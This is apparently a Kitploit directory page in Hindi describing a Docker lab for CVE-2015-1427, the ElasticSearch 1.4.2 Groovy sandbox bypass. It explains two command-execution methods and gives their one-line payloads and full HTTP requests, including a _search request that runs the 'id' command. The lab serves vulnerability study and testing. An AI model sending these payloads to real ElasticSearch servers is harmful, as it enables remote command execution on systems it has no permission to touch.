Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
Groovy-scripting-engine-CVE-2015-1427 — CVE-2015-1427 ElasticSearch Groovy सैंडबॉक्स बाईपास और रिमोट कोड निष्पादन के लिए Docker-आधारित लैब वातावरण, जो Java रिफ्लेक्शन और Groovy कमांड निष्पादन के साथ दो POC विधियों का प्रदर्शन करता है। | Kitploit
उपकरण/GitHubGitHub/cyberharsh/groovy-scripting-engine-cve-2015-1427
भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणलर्निंग और शिक्षा
GitHubcyberharsh/groovy-scripting-engine-cve-2015-1427

Groovy-scripting-engine-CVE-2015-1427

CVE-2015-1427 ElasticSearch Groovy सैंडबॉक्स बाईपास और रिमोट कोड निष्पादन के लिए Docker-आधारित लैब वातावरण, जो Java रिफ्लेक्शन और Groovy कमांड निष्पादन के साथ दो POC विधियों का प्रदर्शन करता है।

रिपॉजिटरी देखें
56 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

ElasticSearch Groovy सैंडबॉक्स बाईपास && कोड निष्पादन भेद्यता (CVE-2015-1427) परीक्षण वातावरण

jre संस्करण: openjdk:8-jre

elasticsearch संस्करण: v1.4.2

सिद्धांत

संदर्भ लेख:

  • http://cb.drops.wiki/drops/papers-5107.html
  • http://jordan-wright.com/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/
  • https://github.com/XiphosResearch/exploits
  • http://cb.drops.wiki/drops/papers-5142.html

CVE-2014-3120 के बाद, ElasticSearch की डिफ़ॉल्ट डायनेमिक स्क्रिप्टिंग भाषा Groovy में बदल दी गई और एक सैंडबॉक्स जोड़ा गया, लेकिन डिफ़ॉल्ट रूप से डायनेमिक भाषा का सीधा निष्पादन अभी भी समर्थित है। यह भेद्यता: 1. एक सैंडबॉक्स बाईपास है; 2. एक Groovy कोड निष्पादन भेद्यता है।

Groovy भाषा "सैंडबॉक्स"

ElasticSearch "सैंडबॉक्स में" Groovy भाषा को डायनेमिक स्क्रिप्ट के रूप में उपयोग करने का समर्थन करता है, लेकिन स्पष्ट रूप से आधिकारिक कार्य अच्छी तरह से नहीं किया गया था। lupin और tang3 ने क्रमशः कमांड निष्पादित करने के दो तरीके प्रस्तावित किए:

  1. चूंकि Java कोड निष्पादन के लिए एक सैंडबॉक्स है, lupin की विधि सैंडबॉक्स को बायपास करने का एक तरीका खोजना है, जैसे कि Java रिफ्लेक्शन का उपयोग करना।

  2. Groovy मूल रूप से भी एक भाषा है, इसलिए tang3 ने एक अलग दृष्टिकोण अपनाया, Groovy भाषा द्वारा समर्थित विधियों का उपयोग करके सीधे कमांड निष्पादित किया, बिना Java भाषा का उपयोग किए।

इसलिए, इन दो निष्पादन भेद्यता विचारों के अनुसार, हम दो अलग-अलग POC प्राप्त कर सकते हैं।

Java सैंडबॉक्स बाईपास विधि:

root@kitploit:~
java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()

Groovy सीधे कमांड निष्पादन विधि:

root@kitploit:~
def command='id';def res=command.execute().text;res

भेद्यता परीक्षण

संकलन और परीक्षण वातावरण चलाएँ

root@kitploit:~
docker-compose build
docker-compose up -d

चूंकि क्वेरी करने के लिए es में कम से कम एक डेटा होना आवश्यक है, इसलिए निम्नलिखित डेटा पैकेट भेजें और एक डेटा जोड़ें:

root@kitploit:~
POST /website/blog/ HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

{
  "name": "test"
}

फिर पेलोड युक्त डेटा पैकेट भेजें और कोई भी कमांड निष्पादित करें:

root@kitploit:~
POST /_search?pretty HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 156

{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}

टूल डाउनलोड करें